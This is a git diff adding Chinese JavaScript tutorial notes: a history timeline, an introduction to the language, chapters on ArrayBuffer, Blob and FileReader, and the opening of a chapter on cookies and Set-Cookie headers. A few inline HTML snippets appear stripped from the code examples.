+2004年,Google 公司发布了 Gmail,促成了互联网应用程序(Web Application)这个概念的诞生。由于 Gmail 是在4月1日发布的,很多人起初以为这只是一个玩笑。
+
+2004年,Dojo 框架诞生,为不同浏览器提供了同一接口,并为主要功能提供了便利的调用方法。这标志着 JavaScript 编程框架的时代开始来临。
+
+2004年,WHATWG 组织成立,致力于加速 HTML 语言的标准化进程。
+
+2005年,苹果公司在 KHTML 引擎基础上,建立了 WebKit 引擎。
+
+2005年,Ajax 方法(Asynchronous JavaScript and XML)正式诞生,Jesse James Garrett 发明了这个词汇。它开始流行的标志是,2月份发布的 Google Maps 项目大量采用该方法。它几乎成了新一代网站的标准做法,促成了 Web 2.0时代的来临。
+
+2005年,Apache 基金会发布了 CouchDB 数据库。这是一个基于 JSON 格式的数据库,可以用 JavaScript 函数定义视图和索引。它在本质上有别于传统的关系型数据库,标识着 NoSQL 类型的数据库诞生。
+
+2006年,jQuery 函数库诞生,作者为John Resig。jQuery 为操作网页 DOM 结构提供了非常强大易用的接口,成为了使用最广泛的函数库,并且让 JavaScript 语言的应用难度大大降低,推动了这种语言的流行。
+
+2006年,微软公司发布 IE 7,标志重新开始启动浏览器的开发。
+
+2006年,Google推出 Google Web Toolkit 项目(缩写为 GWT),提供 Java 编译成 JavaScript 的功能,开创了将其他语言转为 JavaScript 的先河。
+
+2007年,Webkit 引擎在 iPhone 手机中得到部署。它最初基于 KDE 项目,2003年苹果公司首先采用,2005年开源。这标志着 JavaScript 语言开始能在手机中使用了,意味着有可能写出在桌面电脑和手机中都能使用的程序。
+
+2007年,Douglas Crockford 发表了名为《JavaScript: The good parts》的演讲,次年由 O'Reilly 出版社出版。这标志着软件行业开始严肃对待 JavaScript 语言,对它的语法开始重新认识。
+
+2008年,V8 编译器诞生。这是 Google 公司为 Chrome 浏览器而开发的,它的特点是让 JavaScript 的运行变得非常快。它提高了 JavaScript 的性能,推动了语法的改进和标准化,改变外界对 JavaScript 的不佳印象。同时,V8 是开源的,任何人想要一种快速的嵌入式脚本语言,都可以采用 V8,这拓展了 JavaScript 的应用领域。
+
+2009年,Node.js 项目诞生,创始人为 Ryan Dahl,它标志着 JavaScript 可以用于服务器端编程,从此网站的前端和后端可以使用同一种语言开发。并且,Node.js 可以承受很大的并发流量,使得开发某些互联网大规模的实时应用变得容易。
+
+2009年,Jeremy Ashkenas 发布了 CoffeeScript 的最初版本。CoffeeScript 可以被转换为 JavaScript 运行,但是语法要比 JavaScript 简洁。这开启了其他语言转为 JavaScript 的风潮。
+
+2009年,PhoneGap 项目诞生,它将 HTML5 和 JavaScript 引入移动设备的应用程序开发,主要针对 iOS 和 Android 平台,使得 JavaScript 可以用于跨平台的应用程序开发。
+
+2009,Google 发布 Chrome OS,号称是以浏览器为基础发展成的操作系统,允许直接使用 JavaScript 编写应用程序。类似的项目还有 Mozilla 的 Firefox OS。
+
+2010年,三个重要的项目诞生,分别是 NPM、BackboneJS 和 RequireJS,标志着 JavaScript 进入模块化开发的时代。
+
+2011年,微软公司发布 Windows 8操作系统,将 JavaScript 作为应用程序的开发语言之一,直接提供系统支持。
+
+2011年,Google 发布了 Dart 语言,目的是为了结束 JavaScript 语言在浏览器中的垄断,提供更合理、更强大的语法和功能。Chromium浏览器有内置的 Dart 虚拟机,可以运行 Dart 程序,但 Dart 程序也可以被编译成 JavaScript 程序运行。
+
+2011年,微软工程师[Scott Hanselman](http://www.hanselman.com/blog/JavaScriptIsAssemblyLanguageForTheWebSematicMarkupIsDeadCleanVsMachinecodedHTML.aspx)提出,JavaScript 将是互联网的汇编语言。因为它无所不在,而且正在变得越来越快。其他语言的程序可以被转成 JavaScript 语言,然后在浏览器中运行。
+
+2012年,单页面应用程序框架(single-page app framework)开始崛起,AngularJS 项目和 Ember 项目都发布了1.0版本。
+
+2012年,微软发布 TypeScript 语言。该语言被设计成 JavaScript 的超集,这意味着所有 JavaScript 程序,都可以不经修改地在 TypeScript 中运行。同时,TypeScript 添加了很多新的语法特性,主要目的是为了开发大型程序,然后还可以被编译成 JavaScript 运行。
+
+2012年,Mozilla 基金会提出 [asm.js](http://asmjs.org/) 规格。asm.js 是 JavaScript 的一个子集,所有符合 asm.js 的程序都可以在浏览器中运行,它的特殊之处在于语法有严格限定,可以被快速编译成性能良好的机器码。这样做的目的,是为了给其他语言提供一个编译规范,使其可以被编译成高效的 JavaScript 代码。同时,Mozilla 基金会还发起了 [Emscripten](https://github.com/kripken/emscripten/wiki) 项目,目标就是提供一个跨语言的编译器,能够将 LLVM 的位代码(bitcode)转为 JavaScript 代码,在浏览器中运行。因为大部分 LLVM 位代码都是从 C / C++ 语言生成的,这意味着 C / C++ 将可以在浏览器中运行。此外,Mozilla 旗下还有 [LLJS](http://mbebenita.github.io/LLJS/) (将 JavaScript 转为 C 代码)项目和 [River Trail](https://github.com/RiverTrail/RiverTrail/wiki) (一个用于多核心处理器的 ECMAScript 扩展)项目。目前,可以被编译成 JavaScript 的[语言列表](https://github.com/jashkenas/coffee-script/wiki/List-of-languages-that-compile-to-JS),共有将近40种语言。
+
+2013年,Mozilla 基金会发布手机操作系统 Firefox OS,该操作系统的整个用户界面都使用 JavaScript。
+
+2013年,ECMA 正式推出 JSON 的[国际标准](http://www.ecma-international.org/publications/standards/Ecma-404.htm),这意味着 JSON 格式已经变得与 XML 格式一样重要和正式了。
+
+2013年5月,Facebook 发布 UI 框架库 React,引入了新的 JSX 语法,使得 UI 层可以用组件开发,同时引入了网页应用是状态机的概念。
+
+2014年,微软推出 JavaScript 的 Windows 库 WinJS,标志微软公司全面支持 JavaScript 与 Windows 操作系统的融合。
+
+2014年11月,由于对 Joyent 公司垄断 Node 项目、以及该项目进展缓慢的不满,一部分核心开发者离开了 Node.js,创造了 io.js 项目,这是一个更开放、更新更频繁的 Node.js 版本,很短时间内就发布到了2.0版。三个月后,Joyent 公司宣布放弃对 Node 项目的控制,将其转交给新成立的开放性质的 Node 基金会。随后,io.js 项目宣布回归 Node,两个版本将合并。
+
+2015年3月,Facebook 公司发布了 React Native 项目,将 React 框架移植到了手机端,可以用来开发手机 App。它会将 JavaScript 代码转为 iOS 平台的 Objective-C 代码,或者 Android 平台的 Java 代码,从而为 JavaScript 语言开发高性能的原生 App 打开了一条道路。
+
+2015年4月,Angular 框架宣布,2.0 版将基于微软公司的TypeScript语言开发,这等于为 JavaScript 语言引入了强类型。
+
+2015年5月,Node 模块管理器 NPM 超越 CPAN,标志着 JavaScript 成为世界上软件模块最多的语言。
+
+2015年5月,Google 公司的 Polymer 框架发布1.0版。该项目的目标是生产环境可以使用 WebComponent 组件,如果能够达到目标,Web 开发将进入一个全新的以组件为开发基础的阶段。
+
+2015年6月,ECMA 标准化组织正式批准了 ECMAScript 6 语言标准,定名为《ECMAScript 2015 标准》。JavaScript 语言正式进入了下一个阶段,成为一种企业级的、开发大规模应用的语言。这个标准从提出到批准,历时10年,而 JavaScript 语言从诞生至今也已经20年了。
+
+2015年6月,Mozilla 在 asm.js 的基础上发布 WebAssembly 项目。这是一种 JavaScript 引擎的中间码格式,全部都是二进制,类似于 Java 的字节码,有利于移动设备加载 JavaScript 脚本,执行速度提高了 20+ 倍。这意味着将来的软件,会发布 JavaScript 二进制包。
+
+2016年6月,《ECMAScript 2016 标准》发布。与前一年发布的版本相比,它只增加了两个较小的特性。
+
+2017年6月,《ECMAScript 2017 标准》发布,正式引入了 async 函数,使得异步操作的写法出现了根本的变化。
+
+2017年11月,所有主流浏览器全部支持 WebAssembly,这意味着任何语言都可以编译成 JavaScript,在浏览器运行。
+
+## 参考链接
+
+- Axel Rauschmayer, [The Past, Present, and Future of JavaScript](https://www.oreilly.com/library/view/the-past-present/9781449343545/)
+- John Dalziel, [The race for speed part 4: The future for JavaScript](http://creativejs.com/2013/06/the-race-for-speed-part-4-the-future-for-javascript/)
+- Axel Rauschmayer, [Basic JavaScript for the impatient programmer](https://www.2ality.com/2013/06/basic-javascript.html)
+- balena.io, [Happy 18th Birthday JavaScript! A look at an unlikely past and bright future](https://www.balena.io/blog/happy-18th-birthday-javascript/)
diff --git a/note/basic/introduction.md b/note/basic/introduction.md
new file mode 100644
index 0000000..f6d5173
--- /dev/null
+++ b/note/basic/introduction.md
@@ -0,0 +1,164 @@
+# 导论
+
+## 什么是 JavaScript 语言?
+
+JavaScript 是一种轻量级的脚本语言。所谓“脚本语言”(script language),指的是它不具备开发操作系统的能力,而是只用来编写控制其他大型应用程序(比如浏览器)的“脚本”。
+
+JavaScript 也是一种嵌入式(embedded)语言。它本身提供的核心语法不算很多,只能用来做一些数学和逻辑运算。JavaScript 本身不提供任何与 I/O(输入/输出)相关的 API,都要靠宿主环境(host)提供,所以 JavaScript 只合适嵌入更大型的应用程序环境,去调用宿主环境提供的底层 API。
+
+目前,已经嵌入 JavaScript 的宿主环境有多种,最常见的环境就是浏览器,另外还有服务器环境,也就是 Node 项目。
+
+从语法角度看,JavaScript 语言是一种“对象模型”语言。各种宿主环境通过这个模型,描述自己的功能和操作接口,从而通过 JavaScript 控制这些功能。但是,JavaScript 并不是纯粹的“面向对象语言”,还支持其他编程范式(比如函数式编程)。这导致几乎任何一个问题,JavaScript 都有多种解决方法。阅读本书的过程中,你会诧异于 JavaScript 语法的灵活性。
+
+JavaScript 的核心语法部分相当精简,只包括两个部分:基本的语法构造(比如操作符、控制结构、语句)和标准库(就是一系列具有各种功能的对象比如`Array`、`Date`、`Math`等)。除此之外,各种宿主环境提供额外的 API(即只能在该环境使用的接口),以便 JavaScript 调用。以浏览器为例,它提供的额外 API 可以分成三大类。
+
+- 浏览器控制类:操作浏览器
+- DOM 类:操作网页的各种元素
+- Web 类:实现互联网的各种功能
+
+如果宿主环境是服务器,则会提供各种操作系统的 API,比如文件操作 API、网络通信 API等等。这些你都可以在 Node 环境中找到。
+
+本书主要介绍 JavaScript 核心语法和浏览器网页开发的基本知识,不涉及 Node。全书可以分成以下四大部分。
+
+- 基本语法
+- 标准库
+- 浏览器 API
+- DOM
+
+JavaScript 语言有多个版本。本书的内容主要基于 ECMAScript 5.1 版本,这是学习 JavaScript 语法的基础。ES6 和更新的语法请参考我写的[《ECMAScript 6入门》](http://es6.ruanyifeng.com/)。
+
+## 为什么学习 JavaScript?
+
+JavaScript 语言有一些显著特点,使得它非常值得学习。它既适合作为学习编程的入门语言,也适合当作日常开发的工作语言。它是目前最有希望、前途最光明的计算机语言之一。
+
+### 操控浏览器的能力
+
+JavaScript 的发明目的,就是作为浏览器的内置脚本语言,为网页开发者提供操控浏览器的能力。它是目前唯一一种通用的浏览器脚本语言,所有浏览器都支持。它可以让网页呈现各种特殊效果,为用户提供良好的互动体验。
+
+目前,全世界几乎所有网页都使用 JavaScript。如果不用,网站的易用性和使用效率将大打折扣,无法成为操作便利、对用户友好的网站。
+
+对于一个互联网开发者来说,如果你想提供漂亮的网页、令用户满意的上网体验、各种基于浏览器的便捷功能、前后端之间紧密高效的联系,JavaScript 是必不可少的工具。
+
+### 广泛的使用领域
+
+近年来,JavaScript 的使用范围,慢慢超越了浏览器,正在向通用的系统语言发展。
+
+**(1)浏览器的平台化**
+
+随着 HTML5 的出现,浏览器本身的功能越来越强,不再仅仅能浏览网页,而是越来越像一个平台,JavaScript 因此得以调用许多系统功能,比如操作本地文件、操作图片、调用摄像头和麦克风等等。这使得 JavaScript 可以完成许多以前无法想象的事情。
+
+**(2)Node**
+
+Node 项目使得 JavaScript 可以用于开发服务器端的大型项目,网站的前后端都用 JavaScript 开发已经成为了现实。有些嵌入式平台(Raspberry Pi)能够安装 Node,于是 JavaScript 就能为这些平台开发应用程序。
+
+**(3)数据库操作**
+
+JavaScript 甚至也可以用来操作数据库。NoSQL 数据库这个概念,本身就是在 JSON(JavaScript Object Notation)格式的基础上诞生的,大部分 NoSQL 数据库允许 JavaScript 直接操作。基于 SQL 语言的开源数据库 PostgreSQL 支持 JavaScript 作为操作语言,可以部分取代 SQL 查询语言。
+
+**(4)移动平台开发**
+
+JavaScript 也正在成为手机应用的开发语言。一般来说,安卓平台使用 Java 语言开发,iOS 平台使用 Objective-C 或 Swift 语言开发。许多人正在努力,让 JavaScript 成为各个平台的通用开发语言。
+
+PhoneGap 项目就是将 JavaScript 和 HTML5 打包在一个容器之中,使得它能同时在 iOS 和安卓上运行。Facebook 公司的 React Native 项目则是将 JavaScript 写的组件,编译成原生组件,从而使它们具备优秀的性能。
+
+Mozilla 基金会的手机操作系统 Firefox OS,更是直接将 JavaScript 作为操作系统的平台语言,但是很可惜这个项目没有成功。
+
+**(5)内嵌脚本语言**
+
+越来越多的应用程序,将 JavaScript 作为内嵌的脚本语言,比如 Adobe 公司的著名 PDF 阅读器 Acrobat、Linux 桌面环境 GNOME 3。
+
+**(6)跨平台的桌面应用程序**
+
+Chromium OS、Windows 8 等操作系统直接支持 JavaScript 编写应用程序。Mozilla 的 Open Web Apps 项目、Google 的 [Chrome App 项目](http://developer.chrome.com/apps/about_apps)、GitHub 的 [Electron 项目](http://electron.atom.io/)、以及 [TideSDK 项目](http://tidesdk.multipart.net/docs/user-dev/generated/),都可以用来编写运行于 Windows、Mac OS 和 Android 等多个桌面平台的程序,不依赖浏览器。
+
+**(7)小结**
+
+可以预期,JavaScript 最终将能让你只用一种语言,就开发出适应不同平台(包括桌面端、服务器端、手机端)的程序。早在2013年9月的[统计](http://adambard.com/blog/top-github-languages-for-2013-so-far/)之中,JavaScript 就是当年 GitHub 上使用量排名第一的语言。
+
+著名程序员 Jeff Atwood 甚至提出了一条 [“Atwood 定律”](http://www.codinghorror.com/blog/2007/07/the-principle-of-least-power.html):
+
+> “所有可以用 JavaScript 编写的程序,最终都会出现 JavaScript 的版本。”(Any application that can be written in JavaScript will eventually be written in JavaScript.)
+
+### 易学性
+
+相比学习其他语言,学习 JavaScript 有一些有利条件。
+
+**(1)学习环境无处不在**
+
+只要有浏览器,就能运行 JavaScript 程序;只要有文本编辑器,就能编写 JavaScript 程序。这意味着,几乎所有电脑都原生提供 JavaScript 学习环境,不用另行安装复杂的 IDE(集成开发环境)和编译器。
+
+**(2)简单性**
+
+相比其他脚本语言(比如 Python 或 Ruby),JavaScript 的语法相对简单一些,本身的语法特性并不是特别多。而且,那些语法中的复杂部分,也不是必需要学会。你完全可以只用简单命令,完成大部分的操作。
+
+**(3)与主流语言的相似性**
+
+JavaScript 的语法很类似 C/C++ 和 Java,如果学过这些语言(事实上大多数学校都教),JavaScript 的入门会非常容易。
+
+必须说明的是,虽然核心语法不难,但是 JavaScript 的复杂性体现在另外两个方面。
+
+首先,它涉及大量的外部 API。JavaScript 要发挥作用,必须与其他组件配合,这些外部组件五花八门,数量极其庞大,几乎涉及网络应用的各个方面,掌握它们绝非易事。
+
+其次,JavaScript 语言有一些设计缺陷。某些地方相当不合理,另一些地方则会出现怪异的运行结果。学习 JavaScript,很大一部分时间是用来搞清楚哪些地方有陷阱。Douglas Crockford 写过一本有名的书,名字就叫[《JavaScript: The Good Parts》](http://javascript.crockford.com/),言下之意就是这门语言不好的地方很多,必须写一本书才能讲清楚。另外一些程序员则感到,为了更合理地编写 JavaScript 程序,就不能用 JavaScript 来写,而必须发明新的语言,比如 CoffeeScript、TypeScript、Dart 这些新语言的发明目的,多多少少都有这个因素。
+
+尽管如此,目前看来,JavaScript 的地位还是无法动摇。加之,语言标准的快速进化,使得 JavaScript 功能日益增强,而语法缺陷和怪异之处得到了弥补。所以,JavaScript 还是值得学习,况且它的入门真的不难。
+
+### 强大的性能
+
+JavaScript 的性能优势体现在以下方面。
+
+**(1)灵活的语法,表达力强。**
+
+JavaScript 既支持类似 C 语言清晰的过程式编程,也支持灵活的函数式编程,可以用来写并发处理(concurrent)。这些语法特性已经被证明非常强大,可以用于许多场合,尤其适用异步编程。
+
+JavaScript 的所有值都是对象,这为程序员提供了灵活性和便利性。因为你可以很方便地、按照需要随时创造数据结构,不用进行麻烦的预定义。
+
+JavaScript 的标准还在快速进化中,并不断合理化,添加更适用的语法特性。
+
+**(2)支持编译运行。**
+
+JavaScript 语言本身,虽然是一种解释型语言,但是在现代浏览器中,JavaScript 都是编译后运行。程序会被高度优化,运行效率接近二进制程序。而且,JavaScript 引擎正在快速发展,性能将越来越好。
+
+此外,还有一种 WebAssembly 格式,它是 JavaScript 引擎的中间码格式,全部都是二进制代码。由于跳过了编译步骤,可以达到接近原生二进制代码的运行速度。各种语言(主要是 C 和 C++)通过编译成 WebAssembly,就可以在浏览器里面运行。
+
+**(3)事件驱动和非阻塞式设计。**
+
+JavaScript 程序可以采用事件驱动(event-driven)和非阻塞式(non-blocking)设计,在服务器端适合高并发环境,普通的硬件就可以承受很大的访问量。
+
+### 开放性
+
+JavaScript 是一种开放的语言。它的标准 ECMA-262 是 ISO 国际标准,写得非常详尽明确;该标准的主要实现(比如 V8 和 SpiderMonkey 引擎)都是开放的,而且质量很高。这保证了这门语言不属于任何公司或个人,不存在版权和专利的问题。
+
+语言标准由 TC39 委员会负责制定,该委员会的运作是透明的,所有讨论都是开放的,会议记录都会对外公布。
+
+不同公司的 JavaScript 运行环境,兼容性很好,程序不做调整或只做很小的调整,就能在所有浏览器上运行。
+
+### 社区支持和就业机会
+
+全世界程序员都在使用 JavaScript,它有着极大的社区、广泛的文献和图书、丰富的代码资源。绝大部分你需要用到的功能,都有多个开源函数库可供选用。
+
+作为项目负责人,你不难招聘到数量众多的 JavaScript 程序员;作为开发者,你也不难找到一份 JavaScript 的工作。
+
+## 实验环境
+
+本教程包含大量的示例代码,只要电脑安装了浏览器,就可以用来实验了。读者可以一边读一边运行示例,加深理解。
+
+推荐安装 Chrome 浏览器,它的“开发者工具”(Developer Tools)里面的“控制台”(console),就是运行 JavaScript 代码的理想环境。
+
+进入 Chrome 浏览器的“控制台”,有两种方法。
+
+- 直接进入:按下`Option + Command + J`(Mac)或者`Ctrl + Shift + J`(Windows / Linux)
+- 开发者工具进入:开发者工具的快捷键是 F12,或者`Option + Command + I`(Mac)以及`Ctrl + Shift + I`(Windows / Linux),然后选择 Console 面板
+
+进入控制台以后,就可以在提示符后输入代码,然后按`Enter`键,代码就会执行。如果按`Shift + Enter`键,就是代码换行,不会触发执行。建议阅读本教程时,将代码复制到控制台进行实验。
+
+作为尝试,你可以将下面的程序复制到“控制台”,按下回车后,就可以看到运行结果。
+
+```javascript
+function greetMe(yourName) {
+ console.log('Hello ' + yourName);
+}
+
+greetMe('World')
+// Hello World
+```
diff --git a/note/bom/arraybuffer.md b/note/bom/arraybuffer.md
new file mode 100644
index 0000000..89a5ddd
--- /dev/null
+++ b/note/bom/arraybuffer.md
@@ -0,0 +1,213 @@
+# ArrayBuffer 对象,Blob 对象
+
+## ArrayBuffer 对象
+
+ArrayBuffer 对象表示一段二进制数据,用来模拟内存里面的数据。通过这个对象,JavaScript 可以读写二进制数据。这个对象可以看作内存数据的表达。
+
+这个对象是 ES6 才写入标准的,普通的网页编程用不到它,为了教程体系的完整,下面只提供一个简略的介绍,详细介绍请看《ES6 标准入门》里面的章节。
+
+浏览器原生提供`ArrayBuffer()`构造函数,用来生成实例。它接受一个整数作为参数,表示这段二进制数据占用多少个字节。
+
+```javascript
+var buffer = new ArrayBuffer(8);
+```
+
+上面代码中,实例对象`buffer`占用8个字节。
+
+ArrayBuffer 对象有实例属性`byteLength`,表示当前实例占用的内存长度(单位字节)。
+
+```javascript
+var buffer = new ArrayBuffer(8);
+buffer.byteLength // 8
+```
+
+ArrayBuffer 对象有实例方法`slice()`,用来复制一部分内存。它接受两个整数参数,分别表示复制的开始位置(从0开始)和结束位置(复制时不包括结束位置),如果省略第二个参数,则表示一直复制到结束。
+
+```javascript
+var buf1 = new ArrayBuffer(8);
+var buf2 = buf1.slice(0);
+```
+
+上面代码表示复制原来的实例。
+
+## Blob 对象
+
+### 简介
+
+Blob 对象表示一个二进制文件的数据内容,比如一个图片文件的内容就可以通过 Blob 对象读写。它通常用来读写文件,它的名字是 Binary Large Object (二进制大型对象)的缩写。它与 ArrayBuffer 的区别在于,它用于操作二进制文件,而 ArrayBuffer 用于操作内存。
+
+浏览器原生提供`Blob()`构造函数,用来生成实例对象。
+
+```javascript
+new Blob(array [, options])
+```
+
+`Blob`构造函数接受两个参数。第一个参数是数组,成员是字符串或二进制对象,表示新生成的`Blob`实例对象的内容;第二个参数是可选的,是一个配置对象,目前只有一个属性`type`,它的值是一个字符串,表示数据的 MIME 类型,默认是空字符串。
+
+```javascript
+var htmlFragment = ['hey!'];
+var myBlob = new Blob(htmlFragment, {type : 'text/html'});
+```
+
+上面代码中,实例对象`myBlob`包含的是字符串。生成实例的时候,数据类型指定为`text/html`。
+
+下面是另一个例子,Blob 保存 JSON 数据。
+
+```javascript
+var obj = { hello: 'world' };
+var blob = new Blob([ JSON.stringify(obj) ], {type : 'application/json'});
+```
+
+### 实例属性和实例方法
+
+`Blob`具有两个实例属性`size`和`type`,分别返回数据的大小和类型。
+
+```javascript
+var htmlFragment = ['hey!'];
+var myBlob = new Blob(htmlFragment, {type : 'text/html'});
+
+myBlob.size // 32
+myBlob.type // "text/html"
+```
+
+`Blob`具有一个实例方法`slice`,用来拷贝原来的数据,返回的也是一个`Blob`实例。
+
+```javascript
+myBlob.slice(start, end, contentType)
+```
+
+`slice`方法有三个参数,都是可选的。它们依次是起始的字节位置(默认为0)、结束的字节位置(默认为`size`属性的值,该位置本身将不包含在拷贝的数据之中)、新实例的数据类型(默认为空字符串)。
+
+### 获取文件信息
+
+文件选择器``用来让用户选取文件。出于安全考虑,浏览器不允许脚本自行设置这个控件的`value`属性,即文件必须是用户手动选取的,不能是脚本指定的。一旦用户选好了文件,脚本就可以读取这个文件。
+
+文件选择器返回一个 FileList 对象,该对象是一个类似数组的成员,每个成员都是一个 File 实例对象。File 实例对象是一个特殊的 Blob 实例,增加了`name`和`lastModifiedDate`属性。
+
+```javascript
+// HTML 代码如下
+//
+
+function fileinfo(files) {
+ for (var i = 0; i < files.length; i++) {
+ var f = files[i];
+ console.log(
+ f.name, // 文件名,不含路径
+ f.size, // 文件大小,Blob 实例属性
+ f.type, // 文件类型,Blob 实例属性
+ f.lastModifiedDate // 文件的最后修改时间
+ );
+ }
+}
+```
+
+除了文件选择器,拖放 API 的`dataTransfer.files`返回的也是一个FileList 对象,它的成员因此也是 File 实例对象。
+
+### 下载文件
+
+AJAX 请求时,如果指定`responseType`属性为`blob`,下载下来的就是一个 Blob 对象。
+
+```javascript
+function getBlob(url, callback) {
+ var xhr = new XMLHttpRequest();
+ xhr.open('GET', url);
+ xhr.responseType = 'blob';
+ xhr.onload = function () {
+ callback(xhr.response);
+ }
+ xhr.send(null);
+}
+```
+
+上面代码中,`xhr.response`拿到的就是一个 Blob 对象。
+
+### 生成 URL
+
+浏览器允许使用`URL.createObjectURL()`方法,针对 Blob 对象生成一个临时 URL,以便于某些 API 使用。这个 URL 以`blob://`开头,表明对应一个 Blob 对象,协议头后面是一个识别符,用来唯一对应内存里面的 Blob 对象。这一点与`data://URL`(URL 包含实际数据)和`file://URL`(本地文件系统里面的文件)都不一样。
+
+```javascript
+var droptarget = document.getElementById('droptarget');
+
+droptarget.ondrop = function (e) {
+ var files = e.dataTransfer.files;
+ for (var i = 0; i < files.length; i++) {
+ var type = files[i].type;
+ if (type.substring(0,6) !== 'image/')
+ continue;
+ var img = document.createElement('img');
+ img.src = URL.createObjectURL(files[i]);
+ img.onload = function () {
+ this.width = 100;
+ document.body.appendChild(this);
+ URL.revokeObjectURL(this.src);
+ }
+ }
+}
+```
+
+上面代码通过为拖放的图片文件生成一个 URL,产生它们的缩略图,从而使得用户可以预览选择的文件。
+
+浏览器处理 Blob URL 就跟普通的 URL 一样,如果 Blob 对象不存在,返回404状态码;如果跨域请求,返回403状态码。Blob URL 只对 GET 请求有效,如果请求成功,返回200状态码。由于 Blob URL 就是普通 URL,因此可以下载。
+
+### 读取文件
+
+取得 Blob 对象以后,可以通过`FileReader`对象,读取 Blob 对象的内容,即文件内容。
+
+FileReader 对象提供四个方法,处理 Blob 对象。Blob 对象作为参数传入这些方法,然后以指定的格式返回。
+
+- `FileReader.readAsText()`:返回文本,需要指定文本编码,默认为 UTF-8。
+- `FileReader.readAsArrayBuffer()`:返回 ArrayBuffer 对象。
+- `FileReader.readAsDataURL()`:返回 Data URL。
+- `FileReader.readAsBinaryString()`:返回原始的二进制字符串。
+
+下面是`FileReader.readAsText()`方法的例子,用来读取文本文件。
+
+```javascript
+// HTML 代码如下
+//
+//
+function readfile(f) {
+ var reader = new FileReader();
+ reader.readAsText(f);
+ reader.onload = function () {
+ var text = reader.result;
+ var out = document.getElementById('output');
+ out.innerHTML = '';
+ out.appendChild(document.createTextNode(text));
+ }
+ reader.onerror = function(e) {
+ console.log('Error', e);
+ };
+}
+```
+
+上面代码中,通过指定 FileReader 实例对象的`onload`监听函数,在实例的`result`属性上拿到文件内容。
+
+下面是`FileReader.readAsArrayBuffer()`方法的例子,用于读取二进制文件。
+
+```javascript
+// HTML 代码如下
+//
+function typefile(file) {
+ // 文件开头的四个字节,生成一个 Blob 对象
+ var slice = file.slice(0, 4);
+ var reader = new FileReader();
+ // 读取这四个字节
+ reader.readAsArrayBuffer(slice);
+ reader.onload = function (e) {
+ var buffer = reader.result;
+ // 将这四个字节的内容,视作一个32位整数
+ var view = new DataView(buffer);
+ var magic = view.getUint32(0, false);
+ // 根据文件的前四个字节,判断它的类型
+ switch(magic) {
+ case 0x89504E47: file.verified_type = 'image/png'; break;
+ case 0x47494638: file.verified_type = 'image/gif'; break;
+ case 0x25504446: file.verified_type = 'application/pdf'; break;
+ case 0x504b0304: file.verified_type = 'application/zip'; break;
+ }
+ console.log(file.name, file.verified_type);
+ };
+}
+```
+
diff --git a/note/bom/cookie.md b/note/bom/cookie.md
new file mode 100644
index 0000000..e0ae045
--- /dev/null
+++ b/note/bom/cookie.md
@@ -0,0 +1,377 @@
+# Cookie
+
+## 概述
+
+Cookie 是服务器保存在浏览器的一小段文本信息,一般大小不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。
+
+HTTP 协议不带有状态,有些请求需要区分状态,就通过 Cookie 附带字符串,让服务器返回不一样的回应。举例来说,用户登录以后,服务器往往会在网站上留下一个 Cookie,记录用户编号(比如`id=1234`),以后每次浏览器向服务器请求数据,就会带上这个字符串,服务器从而知道是谁在请求,应该回应什么内容。
+
+Cookie 的目的就是区分用户,以及放置状态信息,它的使用场景主要如下。
+
+- 对话(session)管理:保存登录状态、购物车等需要记录的信息。
+- 个性化信息:保存用户的偏好,比如网页的字体大小、背景色等等。
+- 追踪用户:记录和分析用户行为。
+
+Cookie 不是一种理想的客户端存储机制。它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端存储建议使用 Web storage API 和 IndexedDB。只有那些每次请求都需要让服务器知道的信息,才应该放在 Cookie 里面。
+
+每个 Cookie 都有以下几方面的元数据。
+
+- Cookie 的名字
+- Cookie 的值(真正的数据写在这里面)
+- 到期时间(超过这个时间会失效)
+- 所属域名(默认为当前域名)
+- 生效的路径(默认为当前网址)
+
+举例来说,用户访问网址`www.example.com`,服务器在浏览器写入一个 Cookie。这个 Cookie 的所属域名为`www.example.com`,生效路径为根路径`/`。
+
+如果 Cookie 的生效路径设为`/forums`,那么这个 Cookie 只有在访问`www.example.com/forums`及其子路径时才有效。以后,浏览器访问某个路径之前,就会找出对该域名和路径有效,并且还没有到期的 Cookie,一起发送给服务器。
+
+用户可以设置浏览器不接受 Cookie,也可以设置不向服务器发送 Cookie。`window.navigator.cookieEnabled`属性返回一个布尔值,表示浏览器是否打开 Cookie 功能。
+
+```javascript
+window.navigator.cookieEnabled // true
+```
+
+`document.cookie`属性返回当前网页的 Cookie。
+
+```javascript
+document.cookie // "id=foo;key=bar"
+```
+
+不同浏览器对 Cookie 数量和大小的限制,是不一样的。一般来说,单个域名设置的 Cookie 不应超过30个,每个 Cookie 的大小不能超过 4KB。超过限制以后,Cookie 将被忽略,不会被设置。
+
+Cookie 是按照域名区分的,`foo.com`只能读取自己放置的 Cookie,无法读取其他网站(比如`bar.com`)放置的 Cookie。一般情况下,一级域名也不能读取二级域名留下的 Cookie,比如`mydomain.com`不能读取`subdomain.mydomain.com`设置的 Cookie。但是有一个例外,设置 Cookie 的时候(不管是一级域名设置的,还是二级域名设置的),明确将`domain`属性设为一级域名,则这个域名下面的各级域名可以共享这个 Cookie。
+
+```http
+Set-Cookie: name=value; domain=mydomain.com
+```
+
+上面示例中,设置 Cookie 时,`domain`属性设为`mydomain.com`,那么各级的子域名和一级域名都可以读取这个 Cookie。
+
+注意,区分 Cookie 时不考虑协议和端口。也就是说,`http://example.com`设置的 Cookie,可以被`https://example.com`或`http://example.com:8080`读取。
+
+## Cookie 与 HTTP 协议
+
+Cookie 由 HTTP 协议生成,也主要是供 HTTP 协议使用。
+
+### HTTP 回应:Cookie 的生成
+
+服务器如果希望在浏览器保存 Cookie,就要在 HTTP 回应的头信息里面,放置一个`Set-Cookie`字段。
+
+```http
+Set-Cookie:foo=bar
+```
+
+上面代码会在浏览器保存一个名为`foo`的 Cookie,它的值为`bar`。
+
+HTTP 回应可以包含多个`Set-Cookie`字段,即在浏览器生成多个 Cookie。下面是一个例子。
+
+```http
+HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]
+```
+
+除了 Cookie 的值,`Set-Cookie`字段还可以附加 Cookie 的属性。
+
+```http
+Set-Cookie: =; Expires=
+Set-Cookie: =; Max-Age=
+Set-Cookie: =; Domain=
+Set-Cookie: =; Path=
+Set-Cookie: =; Secure
+Set-Cookie: =; HttpOnly
+```
+
+上面的几个属性的含义,将在后文解释。
+
